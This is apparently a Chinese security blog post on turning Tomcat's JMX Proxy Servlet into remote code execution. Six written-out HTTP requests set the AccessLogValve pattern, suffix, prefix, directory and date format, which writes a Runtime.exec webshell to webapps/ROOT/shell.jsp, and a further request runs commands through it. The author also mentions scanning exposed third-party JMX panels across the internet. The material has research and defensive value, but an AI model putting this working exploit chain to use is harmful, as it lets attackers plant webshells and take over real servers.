前言:在介绍该利用方式之前有必要先进行一些说明
(1)不影响默认配置的Tomcat
但利用方式前置条件并非罕见
(2)该利用方式本身不属于Tomcat
的安全问题,但存在安全风险
(3)该利用方式为利用链中的一环,配合第三方平台未授权访问或弱口令可以直接利用
JMX
与Tomcat
无关,在Java
官方文档对于JMX
的定义如下:
JMX(Java Management Extensions
)是一个为应用程序植入管理功能的框架。JMX
是一套标准的代理和服务,实际上,用户可以在任何Java
应用程序中使用这些代理和服务实现管理。
用人话来说:JMX
让程序有被管理的功能,例如某Web
网站是在24小时不间断运行,那么对网站进行监控是必要的功能;又或者在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。
借用网上博客一张图:一般JMX
会通过Adapter
实现Web
管理页面,例如Zabbix
和Nagios
等工具对于JVM
的监控实现,老一些的平台比如JDMK
和MX4J
等。
┌─────────┐ ┌─────────┐
│jconsole │ │ Web │
└─────────┘ └─────────┘
│ │
┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─
JVM ▼ ▼ │
│ ┌─────────┐ ┌─────────┐
┌─┤Connector├──┤ Adaptor ├─┐ │
│ │ └─────────┘ └─────────┘ │
│ MBeanServer │ │
│ │ ┌──────┐┌──────┐┌──────┐ │
└─┤MBean1├┤MBean2├┤MBean3├─┘ │
│ └──────┘└──────┘└──────┘
─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘
结合实例来讲,我搭建了一个MX4J
的监控平台
进入其中的ClassLoading
属性观察:监控到类的属性,并且部分值可以在运行时进行修改
在网上进行搜索可以发现大量类似的JMX
管理页面,我们可以实时地修改JVM
内部的一些属性
但这种修改大多数情况下是无意义的,顶多由于某些属性为空通过空指针导致拒绝服务这样的鸡肋洞
因此研究如何通过JMX
修改变量以实现RCE
是比较有意义的研究
Tomcat
一直存在一个不是“漏洞”的漏洞:Tomcat Manager
导致上传war
解压生成webshell
的RCE
在tomcat/conf/tomcat-users.xml
配置
xxxxxxxxxx
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
访问/manager/html
输入用户名和密码,即可在里面上传war
进行部署
显然这不归Tomcat
负责,应该由用户保证自己的账号和密码安全
Tomcat
对于Manager
的管理页面采用了HTTP Basic
认证,也就是用户名密码拼接后Base64
编码
如果想要暴力破解这个身份认证其实是不太可能的,因为Tomcat
已经考虑到这个问题:参考LockOutRealm
类的代码,默认在输入错误5次后会锁定5分钟。这也是Tomcat
官方拒绝该漏洞的原因之一
xpublic class LockOutRealm extends CombinedRealm {
/**
* The number of times in a row a user has to fail authentication to be
* locked out. Defaults to 5.
*/
protected int failureCount = 5;
/**
* The time (in seconds) a user is locked out for after too many
* authentication failures. Defaults to 300 (5 minutes).
*/
protected int lockOutTime = 300;
}
其实值得关心的是:Tomcat
并不仅仅支持管理页面,同时支持API
和JMXProxy
(本文重点)
发现如果API
可以未授权访问也会导致严重的安全问题
使用API
的方式是:http://{host}:{port}/manager/text/{command}?{parameters}
使用API
部署WAR
包:
xxxxxxxxxx
http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
接下来是本文的重点,在Tomcat Manager
中还有一种特殊的管理:JMX Proxy Servlet
参考 Tomcat 9.0 官方文档 中的描述,翻译后为:
JMX Proxy Servlet
是一个轻量级代理,用于获取和设置Tomcat
内部或任何已通过MBean
公开的类。它的使用不是非常用户友好,但对于集成命令行脚本以监视和更改Tomcat
的内部结构非常有帮助。您可以使用代理做两件事:获取信息和设置信息。要真正了解 JMX Proxy Servlet,您应该对 JMX 有一个大致的了解。如果您不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么解释confused
这个词就用迷惑了)
直接阅读这段话可能不能够理解,通过开头对JMX
概念的描述,应该问题不大。Tomcat
提供了JMX
的Agent
或者说API
给用户,而用户一般不是直接手动管理,而是会选择第三方平台进行管理。
参考示例,例如我们需要监控运行时的堆内存使用情况
xxxxxxxxxx
http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
执行后得到的结果
xxxxxxxxxx
OK - Attribute get 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport
// ......
contents={committed=308281344, init=534773760, max=7602176000, used=106332232})
不仅可以监控JVM
属性也可以修改JVM
中的一些属性,例如开头JMX
篇章中提到的一个场景:
在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。
在JMXProxy
中也提供了修改一些变量的方法
xxxxxxxxxx
http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
参数:
BEANNAME
(类似类名)另外支持命令调用,不过这一点我并没有做深入研究(也许一些特殊命令组合存在漏洞?)
xxxxxxxxxx
http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数
总结:
JMXProxy
提供Tomcat
的JMX
接口给第三方平台分析和管理
用于监控Tomcat
内部并且支持部分变量的修改
本节内容是针对Tomcat
的JMXProxy
如何实现RCE
换句话来说:哪些JMXProxy
支持修改的属性被修改后可以RCE
经过肉眼审计,我发现一个有趣的类(熟悉Spring RCE
的师傅应该一眼就能看出来)
AccessLogValve
对应JXMProxy
中的描述信息如下,重点关注五个属性:
xxxxxxxxxx
Name: Catalina:type=Valve,host=localhost,name=AccessLogValve
modelerType: org.apache.tomcat.util.modeler.BaseModelMBean
rotatable: true
checkExists: false
prefix: localhost_access_log
pattern: %h %l %u %t "%r" %s %b
className: org.apache.catalina.valves.AccessLogValve
locale: zh_CN
suffix: .txt
directory: logs
enabled: true
stateName: STARTED
buffered: true
asyncSupported: true
renameOnRotate: false
fileDateFormat: .yyyy-MM-dd
假设以上五个属性可以被设置,那么接下来的RCE
之路就很简单了
于是我测试了每一个属性,发现都可以成功修改
RCE
的思路如下:
%{header}i
从请求头中提取<%
等特殊符号webapps/ROOT
Webshell
第一步:
xxxxxxxxxx
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
这里有一个细节:要求其中的val
参数为全部的URL
编码
xxxxxxxxxx
%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i
开头和结尾的特殊符号从请求头的p
和s
中获取
第二步:
修改日志后缀为:JSP
xxxxxxxxxx
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
第三步:
修改日志前缀为:shell(当时间格式为空时文件名就是shell.jsp了)
xxxxxxxxxx
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
第四步:
修改日志存储目录到可解析JSP
的目录:webapps/ROOT
xxxxxxxxxx
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
第五步:
修改日志文件名日期格式为空,使文件全名为shell.jsp
xxxxxxxxxx
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
第六步:
发送带有p
和s
请求头的请求,成功写入一句话
xxxxxxxxxx
GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
p: <%
s: %>//
RCE:
xxxxxxxxxx
GET /shell.jsp?cmd=calc.exe HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
我将以上发包的过程自动化,成功利用
虽说RCE
成功但感觉还是欠了些什么:需要有基础认证才可以触发漏洞
于是有必要研究一下实际的利用
Manager
弱口令
我在全网进行搜索,发现了很多这样的第三方平台
找到很多可以直接修改AccessLogValve
属性的JMX
管理平台,于是我用nmap
对这些主机进行扫描
检查了某些端口,开着基于Java
的Web
服务,99%跑在Tomcat
下
存在这样管理页面的IP地址非常多,初步估计至少有几十个
我并没有做过多的尝试和实战,不过很大的概率可以通过JMX
修改日志以写入Webshell
达到RCE
正如开头所说,虽然Tomcat
官方不认可,但我认为该漏洞的危害大于一些Tomcat
曾经的RCE CVE
虽然有限制条件,但在整个漏洞利用链中该限制条件可以绕过